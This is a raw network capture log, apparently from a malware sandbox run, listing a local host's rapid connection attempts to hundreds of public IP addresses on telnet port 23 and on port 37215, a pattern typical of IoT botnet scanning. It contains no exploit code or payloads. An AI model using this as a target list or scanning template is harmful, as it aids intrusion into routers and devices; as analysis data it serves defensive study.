Feb 4, 2025 18:17:36.405464888 CET	47076	23	192.168.2.23	43.152.220.26
Feb 4, 2025 18:17:36.405466080 CET	47076	23	192.168.2.23	110.63.132.224
Feb 4, 2025 18:17:36.405467033 CET	47076	23	192.168.2.23	72.119.49.161
Feb 4, 2025 18:17:36.405482054 CET	47076	23	192.168.2.23	117.27.215.16
Feb 4, 2025 18:17:36.405482054 CET	47076	23	192.168.2.23	151.239.233.32
Feb 4, 2025 18:17:36.405483007 CET	47076	23	192.168.2.23	120.15.100.240
Feb 4, 2025 18:17:36.405499935 CET	47076	23	192.168.2.23	106.181.182.7
Feb 4, 2025 18:17:36.405507088 CET	47076	23	192.168.2.23	151.235.93.38
Feb 4, 2025 18:17:36.405508041 CET	47076	23	192.168.2.23	178.65.162.169
Feb 4, 2025 18:17:36.405518055 CET	47076	23	192.168.2.23	77.209.177.153
Feb 4, 2025 18:17:36.405518055 CET	47076	23	192.168.2.23	218.129.153.165
Feb 4, 2025 18:17:36.405534029 CET	47076	23	192.168.2.23	153.86.105.225
Feb 4, 2025 18:17:36.405534029 CET	47076	23	192.168.2.23	48.141.80.49
Feb 4, 2025 18:17:36.405535936 CET	47076	23	192.168.2.23	178.164.94.33
Feb 4, 2025 18:17:36.405535936 CET	47076	23	192.168.2.23	201.67.35.93
Feb 4, 2025 18:17:36.405535936 CET	47076	23	192.168.2.23	20.85.55.250
Feb 4, 2025 18:17:36.405536890 CET	47076	23	192.168.2.23	208.51.18.68
Feb 4, 2025 18:17:36.405544996 CET	47076	23	192.168.2.23	189.25.249.137
Feb 4, 2025 18:17:36.405546904 CET	47076	23	192.168.2.23	36.46.3.53
Feb 4, 2025 18:17:36.405546904 CET	47076	23	192.168.2.23	200.84.60.249
Feb 4, 2025 18:17:36.405551910 CET	47076	23	192.168.2.23	36.56.182.237
Feb 4, 2025 18:17:36.405561924 CET	47076	23	192.168.2.23	86.106.127.250
Feb 4, 2025 18:17:36.405567884 CET	47076	23	192.168.2.23	148.255.99.21
Feb 4, 2025 18:17:36.405569077 CET	47076	23	192.168.2.23	5.175.60.35
Feb 4, 2025 18:17:36.405580044 CET	47076	23	192.168.2.23	111.123.32.36
Feb 4, 2025 18:17:36.405580044 CET	47076	23	192.168.2.23	40.94.244.66
Feb 4, 2025 18:17:36.405580044 CET	47076	23	192.168.2.23	96.222.237.230
Feb 4, 2025 18:17:36.405586958 CET	47076	23	192.168.2.23	49.22.57.246
Feb 4, 2025 18:17:36.405589104 CET	47076	23	192.168.2.23	218.113.39.54
Feb 4, 2025 18:17:36.405596018 CET	47076	23	192.168.2.23	142.254.126.62
Feb 4, 2025 18:17:36.405606985 CET	47076	23	192.168.2.23	121.76.49.45
Feb 4, 2025 18:17:36.405606985 CET	47076	23	192.168.2.23	32.121.130.163
Feb 4, 2025 18:17:36.405615091 CET	47076	23	192.168.2.23	72.175.82.9
Feb 4, 2025 18:17:36.405616999 CET	47076	23	192.168.2.23	182.58.195.207
Feb 4, 2025 18:17:36.405616999 CET	47076	23	192.168.2.23	76.157.113.0
Feb 4, 2025 18:17:36.405637980 CET	47076	23	192.168.2.23	196.22.200.105
Feb 4, 2025 18:17:36.405638933 CET	47076	23	192.168.2.23	44.194.137.182
Feb 4, 2025 18:17:36.405643940 CET	47076	23	192.168.2.23	62.60.237.187
Feb 4, 2025 18:17:36.405643940 CET	47076	23	192.168.2.23	205.219.171.129
Feb 4, 2025 18:17:36.405643940 CET	47076	23	192.168.2.23	119.176.218.116
Feb 4, 2025 18:17:36.405646086 CET	47076	23	192.168.2.23	180.89.119.191
Feb 4, 2025 18:17:36.405646086 CET	47076	23	192.168.2.23	81.24.154.0
Feb 4, 2025 18:17:36.405646086 CET	47076	23	192.168.2.23	175.130.177.255
Feb 4, 2025 18:17:36.405647993 CET	47076	23	192.168.2.23	147.218.56.36
Feb 4, 2025 18:17:36.405652046 CET	47076	23	192.168.2.23	42.201.91.249
Feb 4, 2025 18:17:36.405654907 CET	47076	23	192.168.2.23	176.160.50.142
Feb 4, 2025 18:17:36.405656099 CET	47076	23	192.168.2.23	122.195.137.71
Feb 4, 2025 18:17:36.405670881 CET	47076	23	192.168.2.23	169.56.253.24
Feb 4, 2025 18:17:36.405677080 CET	47076	23	192.168.2.23	4.0.42.90
Feb 4, 2025 18:17:36.405699015 CET	47076	23	192.168.2.23	116.250.176.113
Feb 4, 2025 18:17:36.405699015 CET	47076	23	192.168.2.23	8.165.239.116
Feb 4, 2025 18:17:36.405699968 CET	47076	23	192.168.2.23	141.150.202.154
Feb 4, 2025 18:17:36.405699015 CET	47076	23	192.168.2.23	178.133.20.130
Feb 4, 2025 18:17:36.405709028 CET	47076	23	192.168.2.23	5.5.104.75
Feb 4, 2025 18:17:36.405709982 CET	47076	23	192.168.2.23	183.72.114.109
Feb 4, 2025 18:17:36.405710936 CET	47076	23	192.168.2.23	157.125.227.239
Feb 4, 2025 18:17:36.405716896 CET	47076	23	192.168.2.23	121.46.126.143
Feb 4, 2025 18:17:36.405716896 CET	47076	23	192.168.2.23	106.209.85.33
Feb 4, 2025 18:17:36.405718088 CET	47076	23	192.168.2.23	14.177.169.62
Feb 4, 2025 18:17:36.405723095 CET	47076	23	192.168.2.23	165.95.221.70
Feb 4, 2025 18:17:36.405730009 CET	47076	23	192.168.2.23	198.8.241.29
Feb 4, 2025 18:17:36.405734062 CET	47076	23	192.168.2.23	108.47.203.25
Feb 4, 2025 18:17:36.405734062 CET	47076	23	192.168.2.23	86.19.104.251
Feb 4, 2025 18:17:36.405745983 CET	47076	23	192.168.2.23	53.104.145.120
Feb 4, 2025 18:17:36.405747890 CET	47076	23	192.168.2.23	182.46.237.2
Feb 4, 2025 18:17:36.405750036 CET	47076	23	192.168.2.23	45.193.29.191
Feb 4, 2025 18:17:36.405761957 CET	47076	23	192.168.2.23	192.253.233.78
Feb 4, 2025 18:17:36.405761957 CET	47076	23	192.168.2.23	149.75.12.189
Feb 4, 2025 18:17:36.405764103 CET	47076	23	192.168.2.23	140.28.72.245
Feb 4, 2025 18:17:36.405776024 CET	47076	23	192.168.2.23	86.252.74.237
Feb 4, 2025 18:17:36.405778885 CET	47076	23	192.168.2.23	68.195.113.28
Feb 4, 2025 18:17:36.405778885 CET	47076	23	192.168.2.23	109.97.50.190
Feb 4, 2025 18:17:36.405793905 CET	47076	23	192.168.2.23	135.213.209.205
Feb 4, 2025 18:17:36.405793905 CET	47076	23	192.168.2.23	200.102.226.184
Feb 4, 2025 18:17:36.405793905 CET	47076	23	192.168.2.23	58.204.155.37
Feb 4, 2025 18:17:36.405793905 CET	47076	23	192.168.2.23	4.31.15.45
Feb 4, 2025 18:17:36.405807972 CET	47076	23	192.168.2.23	131.93.254.154
Feb 4, 2025 18:17:36.405814886 CET	47076	23	192.168.2.23	150.107.236.110
Feb 4, 2025 18:17:36.405814886 CET	47076	23	192.168.2.23	210.177.97.58
Feb 4, 2025 18:17:36.405817986 CET	47076	23	192.168.2.23	27.63.250.121
Feb 4, 2025 18:17:36.405823946 CET	47076	23	192.168.2.23	85.205.214.195
Feb 4, 2025 18:17:36.405836105 CET	47076	23	192.168.2.23	176.220.192.161
Feb 4, 2025 18:17:36.405842066 CET	47076	23	192.168.2.23	84.70.176.22
Feb 4, 2025 18:17:36.405848980 CET	47076	23	192.168.2.23	61.97.124.140
Feb 4, 2025 18:17:36.405848980 CET	47076	23	192.168.2.23	101.67.114.132
Feb 4, 2025 18:17:36.405865908 CET	47076	23	192.168.2.23	107.218.160.48
Feb 4, 2025 18:17:36.405867100 CET	47076	23	192.168.2.23	223.232.60.65
Feb 4, 2025 18:17:36.405874014 CET	47076	23	192.168.2.23	187.227.118.88
Feb 4, 2025 18:17:36.405878067 CET	47076	23	192.168.2.23	108.105.164.23
Feb 4, 2025 18:17:36.405881882 CET	47076	23	192.168.2.23	197.103.158.65
Feb 4, 2025 18:17:36.405881882 CET	47076	23	192.168.2.23	17.45.206.90
Feb 4, 2025 18:17:36.405889988 CET	47076	23	192.168.2.23	2.99.91.229
Feb 4, 2025 18:17:36.405890942 CET	47076	23	192.168.2.23	162.132.210.89
Feb 4, 2025 18:17:36.405893087 CET	47076	23	192.168.2.23	27.183.103.105
Feb 4, 2025 18:17:36.405908108 CET	47076	23	192.168.2.23	46.112.233.85
Feb 4, 2025 18:17:36.405908108 CET	47076	23	192.168.2.23	53.165.199.33
Feb 4, 2025 18:17:36.405919075 CET	47076	23	192.168.2.23	53.12.133.246
Feb 4, 2025 18:17:36.405925035 CET	47076	23	192.168.2.23	14.37.241.255
Feb 4, 2025 18:17:36.405925989 CET	47076	23	192.168.2.23	162.1.131.82
Feb 4, 2025 18:17:36.405939102 CET	47076	23	192.168.2.23	96.41.0.217
Feb 4, 2025 18:17:36.405942917 CET	47076	23	192.168.2.23	67.77.231.132
Feb 4, 2025 18:17:36.405945063 CET	47076	23	192.168.2.23	200.242.190.213
Feb 4, 2025 18:17:36.405951023 CET	47076	23	192.168.2.23	208.99.214.223
Feb 4, 2025 18:17:36.405951023 CET	47076	23	192.168.2.23	95.73.219.242
Feb 4, 2025 18:17:36.405953884 CET	47076	23	192.168.2.23	213.250.201.201
Feb 4, 2025 18:17:36.405960083 CET	47076	23	192.168.2.23	203.152.162.135
Feb 4, 2025 18:17:36.405977964 CET	47076	23	192.168.2.23	150.74.37.103
Feb 4, 2025 18:17:36.405982018 CET	47076	23	192.168.2.23	110.107.76.122
Feb 4, 2025 18:17:36.405987024 CET	47076	23	192.168.2.23	120.160.30.177
Feb 4, 2025 18:17:36.405987024 CET	47076	23	192.168.2.23	67.182.16.33
Feb 4, 2025 18:17:36.405987024 CET	47076	23	192.168.2.23	143.57.58.203
Feb 4, 2025 18:17:36.405998945 CET	47076	23	192.168.2.23	171.118.65.84
Feb 4, 2025 18:17:36.406002045 CET	47076	23	192.168.2.23	206.211.219.130
Feb 4, 2025 18:17:36.406003952 CET	47076	23	192.168.2.23	210.35.12.43
Feb 4, 2025 18:17:36.406003952 CET	47076	23	192.168.2.23	52.42.237.235
Feb 4, 2025 18:17:36.406018972 CET	47076	23	192.168.2.23	49.26.78.234
Feb 4, 2025 18:17:36.406023979 CET	47076	23	192.168.2.23	195.228.51.101
Feb 4, 2025 18:17:36.406024933 CET	47076	23	192.168.2.23	24.46.149.55
Feb 4, 2025 18:17:36.406024933 CET	47076	23	192.168.2.23	141.177.60.246
Feb 4, 2025 18:17:36.406037092 CET	47076	23	192.168.2.23	138.15.119.36
Feb 4, 2025 18:17:36.406039953 CET	47076	23	192.168.2.23	62.30.35.133
Feb 4, 2025 18:17:36.406050920 CET	47076	23	192.168.2.23	27.227.249.194
Feb 4, 2025 18:17:36.406063080 CET	47076	23	192.168.2.23	98.162.191.221
Feb 4, 2025 18:17:36.406064034 CET	47076	23	192.168.2.23	210.3.76.165
Feb 4, 2025 18:17:36.406068087 CET	47076	23	192.168.2.23	145.87.246.251
Feb 4, 2025 18:17:36.406073093 CET	47076	23	192.168.2.23	89.59.8.128
Feb 4, 2025 18:17:36.406074047 CET	47076	23	192.168.2.23	50.40.168.235
Feb 4, 2025 18:17:36.406079054 CET	47076	23	192.168.2.23	201.232.50.171
Feb 4, 2025 18:17:36.406085014 CET	47076	23	192.168.2.23	104.165.108.254
Feb 4, 2025 18:17:36.406085014 CET	47076	23	192.168.2.23	183.209.96.108
Feb 4, 2025 18:17:36.406085014 CET	47076	23	192.168.2.23	98.54.13.152
Feb 4, 2025 18:17:36.406085968 CET	47076	23	192.168.2.23	216.249.91.18
Feb 4, 2025 18:17:36.406086922 CET	47076	23	192.168.2.23	207.199.71.243
Feb 4, 2025 18:17:36.406092882 CET	47076	23	192.168.2.23	86.129.64.166
Feb 4, 2025 18:17:36.406092882 CET	47076	23	192.168.2.23	4.60.107.22
Feb 4, 2025 18:17:36.406094074 CET	47076	23	192.168.2.23	200.49.1.198
Feb 4, 2025 18:17:36.406094074 CET	47076	23	192.168.2.23	88.186.99.206
Feb 4, 2025 18:17:36.406095028 CET	47076	23	192.168.2.23	69.52.238.173
Feb 4, 2025 18:17:36.409121037 CET	23	47076	17.237.23.120	192.168.2.23
Feb 4, 2025 18:17:36.409183979 CET	47076	23	192.168.2.23	17.237.23.120
Feb 4, 2025 18:17:36.434782028 CET	35556	37215	192.168.2.23	197.177.231.91
Feb 4, 2025 18:17:36.434782028 CET	35556	37215	192.168.2.23	197.208.150.161
Feb 4, 2025 18:17:36.434786081 CET	35556	37215	192.168.2.23	197.45.38.135
Feb 4, 2025 18:17:36.434797049 CET	35556	37215	192.168.2.23	41.139.228.90
Feb 4, 2025 18:17:36.434813976 CET	35556	37215	192.168.2.23	41.3.78.248
Feb 4, 2025 18:17:36.434818983 CET	35556	37215	192.168.2.23	156.232.0.216
Feb 4, 2025 18:17:36.434818983 CET	35556	37215	192.168.2.23	41.20.54.152
Feb 4, 2025 18:17:36.434818983 CET	35556	37215	192.168.2.23	156.163.144.175
Feb 4, 2025 18:17:36.434823990 CET	35556	37215	192.168.2.23	197.216.183.148
Feb 4, 2025 18:17:36.434828997 CET	35556	37215	192.168.2.23	197.84.210.94
Feb 4, 2025 18:17:36.434838057 CET	35556	37215	192.168.2.23	156.6.110.165
Feb 4, 2025 18:17:36.434839010 CET	35556	37215	192.168.2.23	41.145.72.134
Feb 4, 2025 18:17:36.434838057 CET	35556	37215	192.168.2.23	156.114.243.179
Feb 4, 2025 18:17:36.434849977 CET	35556	37215	192.168.2.23	156.143.232.221
Feb 4, 2025 18:17:36.434855938 CET	35556	37215	192.168.2.23	156.62.164.223
Feb 4, 2025 18:17:36.434859991 CET	35556	37215	192.168.2.23	156.134.54.74
Feb 4, 2025 18:17:36.434873104 CET	35556	37215	192.168.2.23	41.143.46.206
Feb 4, 2025 18:17:36.434873104 CET	35556	37215	192.168.2.23	41.5.123.197
Feb 4, 2025 18:17:36.434873104 CET	35556	37215	192.168.2.23	197.221.29.101
Feb 4, 2025 18:17:36.434881926 CET	35556	37215	192.168.2.23	197.204.204.45
Feb 4, 2025 18:17:36.434886932 CET	35556	37215	192.168.2.23	41.38.66.5
Feb 4, 2025 18:17:36.434886932 CET	35556	37215	192.168.2.23	197.131.33.195
Feb 4, 2025 18:17:36.434899092 CET	35556	37215	192.168.2.23	156.52.40.135
Feb 4, 2025 18:17:36.434899092 CET	35556	37215	192.168.2.23	156.186.144.212
Feb 4, 2025 18:17:36.434900045 CET	35556	37215	192.168.2.23	156.253.172.137
Feb 4, 2025 18:17:36.434915066 CET	35556	37215	192.168.2.23	197.213.34.235
Feb 4, 2025 18:17:36.434921026 CET	35556	37215	192.168.2.23	197.180.34.20
Feb 4, 2025 18:17:36.434921026 CET	35556	37215	192.168.2.23	197.193.71.185
Feb 4, 2025 18:17:36.434921026 CET	35556	37215	192.168.2.23	41.123.45.15
Feb 4, 2025 18:17:36.434921026 CET	35556	37215	192.168.2.23	156.75.98.37
Feb 4, 2025 18:17:36.434931040 CET	35556	37215	192.168.2.23	41.133.244.47
Feb 4, 2025 18:17:36.434931040 CET	35556	37215	192.168.2.23	197.230.248.229
Feb 4, 2025 18:17:36.434931993 CET	35556	37215	192.168.2.23	197.89.155.176
Feb 4, 2025 18:17:36.434947014 CET	35556	37215	192.168.2.23	156.25.65.104
Feb 4, 2025 18:17:36.434947968 CET	35556	37215	192.168.2.23	156.96.223.155
Feb 4, 2025 18:17:36.434947014 CET	35556	37215	192.168.2.23	197.252.148.140
Feb 4, 2025 18:17:36.434947968 CET	35556	37215	192.168.2.23	41.151.48.227
Feb 4, 2025 18:17:36.434947014 CET	35556	37215	192.168.2.23	156.123.174.42
Feb 4, 2025 18:17:36.434963942 CET	35556	37215	192.168.2.23	41.195.168.48
Feb 4, 2025 18:17:36.434964895 CET	35556	37215	192.168.2.23	156.197.76.246
Feb 4, 2025 18:17:36.434966087 CET	35556	37215	192.168.2.23	41.16.252.109
Feb 4, 2025 18:17:36.434976101 CET	35556	37215	192.168.2.23	197.119.38.195
Feb 4, 2025 18:17:36.434978008 CET	35556	37215	192.168.2.23	197.118.152.8
Feb 4, 2025 18:17:36.434986115 CET	35556	37215	192.168.2.23	197.132.137.73
Feb 4, 2025 18:17:36.434994936 CET	35556	37215	192.168.2.23	197.68.40.12
Feb 4, 2025 18:17:36.435002089 CET	35556	37215	192.168.2.23	197.129.162.230
Feb 4, 2025 18:17:36.435002089 CET	35556	37215	192.168.2.23	156.241.151.77
Feb 4, 2025 18:17:36.435002089 CET	35556	37215	192.168.2.23	197.71.22.42
Feb 4, 2025 18:17:36.435010910 CET	35556	37215	192.168.2.23	197.186.233.229
Feb 4, 2025 18:17:36.435013056 CET	35556	37215	192.168.2.23	156.225.148.63
Feb 4, 2025 18:17:36.435025930 CET	35556	37215	192.168.2.23	197.118.180.155
Feb 4, 2025 18:17:36.435028076 CET	35556	37215	192.168.2.23	41.36.62.4
Feb 4, 2025 18:17:36.435031891 CET	35556	37215	192.168.2.23	41.247.255.128
Feb 4, 2025 18:17:36.435035944 CET	35556	37215	192.168.2.23	41.123.177.249
Feb 4, 2025 18:17:36.435035944 CET	35556	37215	192.168.2.23	156.86.175.30
Feb 4, 2025 18:17:36.435045958 CET	35556	37215	192.168.2.23	41.8.226.105
Feb 4, 2025 18:17:36.435046911 CET	35556	37215	192.168.2.23	41.234.68.230
Feb 4, 2025 18:17:36.435050011 CET	35556	37215	192.168.2.23	197.27.165.155
Feb 4, 2025 18:17:36.435051918 CET	35556	37215	192.168.2.23	156.205.114.184
Feb 4, 2025 18:17:36.435054064 CET	35556	37215	192.168.2.23	41.88.64.222
Feb 4, 2025 18:17:36.435070038 CET	35556	37215	192.168.2.23	197.170.58.167
Feb 4, 2025 18:17:36.435070038 CET	35556	37215	192.168.2.23	156.196.137.59
Feb 4, 2025 18:17:36.435070038 CET	35556	37215	192.168.2.23	41.101.38.108
Feb 4, 2025 18:17:36.435075045 CET	35556	37215	192.168.2.23	197.234.188.85
Feb 4, 2025 18:17:36.435081005 CET	35556	37215	192.168.2.23	41.173.104.124
Feb 4, 2025 18:17:36.435092926 CET	35556	37215	192.168.2.23	197.251.219.15
Feb 4, 2025 18:17:36.435094118 CET	35556	37215	192.168.2.23	156.143.73.254
Feb 4, 2025 18:17:36.435097933 CET	35556	37215	192.168.2.23	156.111.136.126
Feb 4, 2025 18:17:36.435100079 CET	35556	37215	192.168.2.23	197.229.33.200
Feb 4, 2025 18:17:36.435122967 CET	35556	37215	192.168.2.23	156.58.99.21
Feb 4, 2025 18:17:36.435123920 CET	35556	37215	192.168.2.23	156.128.123.147
Feb 4, 2025 18:17:36.435125113 CET	35556	37215	192.168.2.23	197.161.166.202
Feb 4, 2025 18:17:36.435123920 CET	35556	37215	192.168.2.23	197.56.224.170
Feb 4, 2025 18:17:36.435125113 CET	35556	37215	192.168.2.23	41.105.49.50
Feb 4, 2025 18:17:36.435136080 CET	35556	37215	192.168.2.23	197.192.83.127
Feb 4, 2025 18:17:36.435146093 CET	35556	37215	192.168.2.23	197.228.54.129
Feb 4, 2025 18:17:36.435146093 CET	35556	37215	192.168.2.23	197.158.56.190
Feb 4, 2025 18:17:36.435146093 CET	35556	37215	192.168.2.23	156.151.235.89
Feb 4, 2025 18:17:36.435146093 CET	35556	37215	192.168.2.23	156.194.217.209
Feb 4, 2025 18:17:36.435148954 CET	35556	37215	192.168.2.23	197.249.215.85
Feb 4, 2025 18:17:36.435158014 CET	35556	37215	192.168.2.23	41.116.38.200
Feb 4, 2025 18:17:36.435168982 CET	35556	37215	192.168.2.23	41.79.180.78
Feb 4, 2025 18:17:36.435169935 CET	35556	37215	192.168.2.23	41.63.45.180
Feb 4, 2025 18:17:36.435193062 CET	35556	37215	192.168.2.23	41.193.196.152
Feb 4, 2025 18:17:36.435193062 CET	35556	37215	192.168.2.23	156.63.85.203
Feb 4, 2025 18:17:36.435193062 CET	35556	37215	192.168.2.23	156.101.241.241
Feb 4, 2025 18:17:36.435194016 CET	35556	37215	192.168.2.23	156.43.206.236
Feb 4, 2025 18:17:36.435194016 CET	35556	37215	192.168.2.23	197.65.251.41
Feb 4, 2025 18:17:36.435198069 CET	35556	37215	192.168.2.23	41.207.187.40
Feb 4, 2025 18:17:36.435198069 CET	35556	37215	192.168.2.23	41.31.109.40
Feb 4, 2025 18:17:36.435200930 CET	35556	37215	192.168.2.23	156.207.252.48
Feb 4, 2025 18:17:36.435209036 CET	35556	37215	192.168.2.23	41.232.59.103
Feb 4, 2025 18:17:36.435218096 CET	35556	37215	192.168.2.23	197.222.214.232
Feb 4, 2025 18:17:36.435218096 CET	35556	37215	192.168.2.23	156.139.215.9
Feb 4, 2025 18:17:36.435225964 CET	35556	37215	192.168.2.23	41.197.197.69
Feb 4, 2025 18:17:36.435235977 CET	35556	37215	192.168.2.23	197.212.22.19
Feb 4, 2025 18:17:36.435237885 CET	35556	37215	192.168.2.23	197.252.106.170
Feb 4, 2025 18:17:36.435241938 CET	35556	37215	192.168.2.23	156.22.247.229
Feb 4, 2025 18:17:36.435242891 CET	35556	37215	192.168.2.23	41.235.44.167
Feb 4, 2025 18:17:36.435244083 CET	35556	37215	192.168.2.23	41.142.151.159
Feb 4, 2025 18:17:36.435244083 CET	35556	37215	192.168.2.23	156.42.144.67
Feb 4, 2025 18:17:36.435257912 CET	35556	37215	192.168.2.23	156.18.205.17
Feb 4, 2025 18:17:36.435259104 CET	35556	37215	192.168.2.23	156.68.70.21
Feb 4, 2025 18:17:36.435267925 CET	35556	37215	192.168.2.23	156.132.164.135
Feb 4, 2025 18:17:36.435270071 CET	35556	37215	192.168.2.23	197.118.149.20
Feb 4, 2025 18:17:36.435285091 CET	35556	37215	192.168.2.23	41.110.189.231
Feb 4, 2025 18:17:36.435285091 CET	35556	37215	192.168.2.23	197.5.242.248
Feb 4, 2025 18:17:36.435286999 CET	35556	37215	192.168.2.23	41.133.202.154
Feb 4, 2025 18:17:36.435291052 CET	35556	37215	192.168.2.23	41.197.5.170
Feb 4, 2025 18:17:36.435303926 CET	35556	37215	192.168.2.23	41.37.142.227
Feb 4, 2025 18:17:36.435303926 CET	35556	37215	192.168.2.23	197.14.164.39
Feb 4, 2025 18:17:36.435328960 CET	35556	37215	192.168.2.23	41.5.19.129
Feb 4, 2025 18:17:36.435328960 CET	35556	37215	192.168.2.23	156.226.84.43
Feb 4, 2025 18:17:36.435332060 CET	35556	37215	192.168.2.23	41.57.59.154
Feb 4, 2025 18:17:36.435332060 CET	35556	37215	192.168.2.23	41.166.44.234
Feb 4, 2025 18:17:36.435333014 CET	35556	37215	192.168.2.23	156.116.200.225
Feb 4, 2025 18:17:36.435343027 CET	35556	37215	192.168.2.23	156.248.32.30
Feb 4, 2025 18:17:36.435343027 CET	35556	37215	192.168.2.23	156.224.137.63
Feb 4, 2025 18:17:36.435354948 CET	35556	37215	192.168.2.23	197.54.239.13
Feb 4, 2025 18:17:36.435355902 CET	35556	37215	192.168.2.23	156.253.109.208
Feb 4, 2025 18:17:36.435355902 CET	35556	37215	192.168.2.23	197.178.201.243
Feb 4, 2025 18:17:36.435363054 CET	35556	37215	192.168.2.23	197.73.97.181
Feb 4, 2025 18:17:36.435368061 CET	35556	37215	192.168.2.23	197.89.2.211
Feb 4, 2025 18:17:36.435370922 CET	35556	37215	192.168.2.23	41.109.149.132
Feb 4, 2025 18:17:36.435380936 CET	35556	37215	192.168.2.23	197.17.227.169
Feb 4, 2025 18:17:36.435384989 CET	35556	37215	192.168.2.23	156.229.252.220
Feb 4, 2025 18:17:36.435385942 CET	35556	37215	192.168.2.23	197.60.87.242
Feb 4, 2025 18:17:36.435398102 CET	35556	37215	192.168.2.23	156.176.38.165
Feb 4, 2025 18:17:36.435405970 CET	35556	37215	192.168.2.23	41.160.249.22
Feb 4, 2025 18:17:36.435410976 CET	35556	37215	192.168.2.23	41.166.68.93
Feb 4, 2025 18:17:36.435415983 CET	35556	37215	192.168.2.23	197.252.108.56
Feb 4, 2025 18:17:36.435422897 CET	35556	37215	192.168.2.23	41.160.182.168
Feb 4, 2025 18:17:36.435425043 CET	35556	37215	192.168.2.23	156.250.150.161
Feb 4, 2025 18:17:36.435426950 CET	35556	37215	192.168.2.23	156.142.77.67
Feb 4, 2025 18:17:36.435429096 CET	35556	37215	192.168.2.23	197.25.73.42
Feb 4, 2025 18:17:36.435431004 CET	35556	37215	192.168.2.23	41.229.254.235
Feb 4, 2025 18:17:36.435440063 CET	35556	37215	192.168.2.23	41.21.138.251
Feb 4, 2025 18:17:36.435446978 CET	35556	37215	192.168.2.23	41.178.14.145
Feb 4, 2025 18:17:36.435452938 CET	35556	37215	192.168.2.23	41.229.132.156
Feb 4, 2025 18:17:36.435461044 CET	35556	37215	192.168.2.23	156.249.209.202
Feb 4, 2025 18:17:36.435461044 CET	35556	37215	192.168.2.23	41.75.53.6
Feb 4, 2025 18:17:36.435468912 CET	35556	37215	192.168.2.23	197.113.177.39
Feb 4, 2025 18:17:36.435481071 CET	35556	37215	192.168.2.23	197.1.221.41
Feb 4, 2025 18:17:36.435491085 CET	35556	37215	192.168.2.23	41.46.0.186
Feb 4, 2025 18:17:36.435491085 CET	35556	37215	192.168.2.23	41.101.82.3
Feb 4, 2025 18:17:36.435492992 CET	35556	37215	192.168.2.23	197.86.11.13
Feb 4, 2025 18:17:36.435492992 CET	35556	37215	192.168.2.23	197.69.85.9
Feb 4, 2025 18:17:36.435508013 CET	35556	37215	192.168.2.23	197.104.247.88
Feb 4, 2025 18:17:36.435508966 CET	35556	37215	192.168.2.23	41.165.240.85
Feb 4, 2025 18:17:36.435508966 CET	35556	37215	192.168.2.23	197.244.178.82
Feb 4, 2025 18:17:36.435513020 CET	35556	37215	192.168.2.23	197.70.241.145
Feb 4, 2025 18:17:36.435517073 CET	35556	37215	192.168.2.23	156.148.61.132
Feb 4, 2025 18:17:36.435523033 CET	35556	37215	192.168.2.23	156.140.4.231
Feb 4, 2025 18:17:36.435533047 CET	35556	37215	192.168.2.23	197.155.204.85
Feb 4, 2025 18:17:36.435534954 CET	35556	37215	192.168.2.23	41.237.34.18
Feb 4, 2025 18:17:36.435543060 CET	35556	37215	192.168.2.23	41.25.207.186
Feb 4, 2025 18:17:36.435550928 CET	35556	37215	192.168.2.23	197.128.134.65
Feb 4, 2025 18:17:36.435550928 CET	35556	37215	192.168.2.23	197.230.5.31
Feb 4, 2025 18:17:36.435553074 CET	35556	37215	192.168.2.23	197.48.241.9
Feb 4, 2025 18:17:36.435566902 CET	35556	37215	192.168.2.23	197.203.209.212
Feb 4, 2025 18:17:36.435575962 CET	35556	37215	192.168.2.23	41.253.102.106
Feb 4, 2025 18:17:36.435575962 CET	35556	37215	192.168.2.23	156.159.45.26
Feb 4, 2025 18:17:36.435589075 CET	35556	37215	192.168.2.23	197.225.225.186
Feb 4, 2025 18:17:36.435594082 CET	35556	37215	192.168.2.23	156.27.191.180
Feb 4, 2025 18:17:36.435594082 CET	35556	37215	192.168.2.23	41.64.120.244
Feb 4, 2025 18:17:36.435604095 CET	35556	37215	192.168.2.23	197.214.151.229
Feb 4, 2025 18:17:36.435605049 CET	35556	37215	192.168.2.23	41.119.26.246
Feb 4, 2025 18:17:36.435609102 CET	35556	37215	192.168.2.23	197.93.130.201
Feb 4, 2025 18:17:36.435616016 CET	35556	37215	192.168.2.23	156.221.35.228
Feb 4, 2025 18:17:36.435622931 CET	35556	37215	192.168.2.23	156.80.159.217
Feb 4, 2025 18:17:36.435623884 CET	35556	37215	192.168.2.23	156.208.169.112
Feb 4, 2025 18:17:36.435627937 CET	35556	37215	192.168.2.23	156.217.218.142
Feb 4, 2025 18:17:36.435645103 CET	35556	37215	192.168.2.23	197.10.60.238
Feb 4, 2025 18:17:36.435645103 CET	35556	37215	192.168.2.23	197.21.74.15
Feb 4, 2025 18:17:36.435647011 CET	35556	37215	192.168.2.23	156.243.230.32
Feb 4, 2025 18:17:36.435652971 CET	35556	37215	192.168.2.23	41.135.78.62
Feb 4, 2025 18:17:36.435652971 CET	35556	37215	192.168.2.23	197.4.138.198
Feb 4, 2025 18:17:36.435659885 CET	35556	37215	192.168.2.23	197.4.44.187
Feb 4, 2025 18:17:36.435668945 CET	35556	37215	192.168.2.23	197.105.78.76
Feb 4, 2025 18:17:36.435668945 CET	35556	37215	192.168.2.23	41.122.145.147
Feb 4, 2025 18:17:36.435678959 CET	35556	37215	192.168.2.23	156.84.36.120
Feb 4, 2025 18:17:36.435688019 CET	35556	37215	192.168.2.23	197.47.52.207
Feb 4, 2025 18:17:36.435688019 CET	35556	37215	192.168.2.23	41.141.8.191
Feb 4, 2025 18:17:36.435688019 CET	35556	37215	192.168.2.23	41.64.109.224
Feb 4, 2025 18:17:36.435688019 CET	35556	37215	192.168.2.23	41.127.51.21
Feb 4, 2025 18:17:36.435703039 CET	35556	37215	192.168.2.23	197.159.25.242
Feb 4, 2025 18:17:36.435705900 CET	35556	37215	192.168.2.23	41.63.6.200
Feb 4, 2025 18:17:36.435709000 CET	35556	37215	192.168.2.23	197.255.99.149
Feb 4, 2025 18:17:36.435719013 CET	35556	37215	192.168.2.23	156.246.166.255
Feb 4, 2025 18:17:36.435722113 CET	35556	37215	192.168.2.23	156.177.189.21
Feb 4, 2025 18:17:36.435723066 CET	35556	37215	192.168.2.23	156.53.223.203
Feb 4, 2025 18:17:36.435723066 CET	35556	37215	192.168.2.23	156.145.22.209
Feb 4, 2025 18:17:36.435729980 CET	35556	37215	192.168.2.23	197.66.242.198
Feb 4, 2025 18:17:36.435738087 CET	35556	37215	192.168.2.23	197.82.175.171
Feb 4, 2025 18:17:36.435744047 CET	35556	37215	192.168.2.23	41.200.37.199
Feb 4, 2025 18:17:36.435756922 CET	35556	37215	192.168.2.23	41.79.99.124
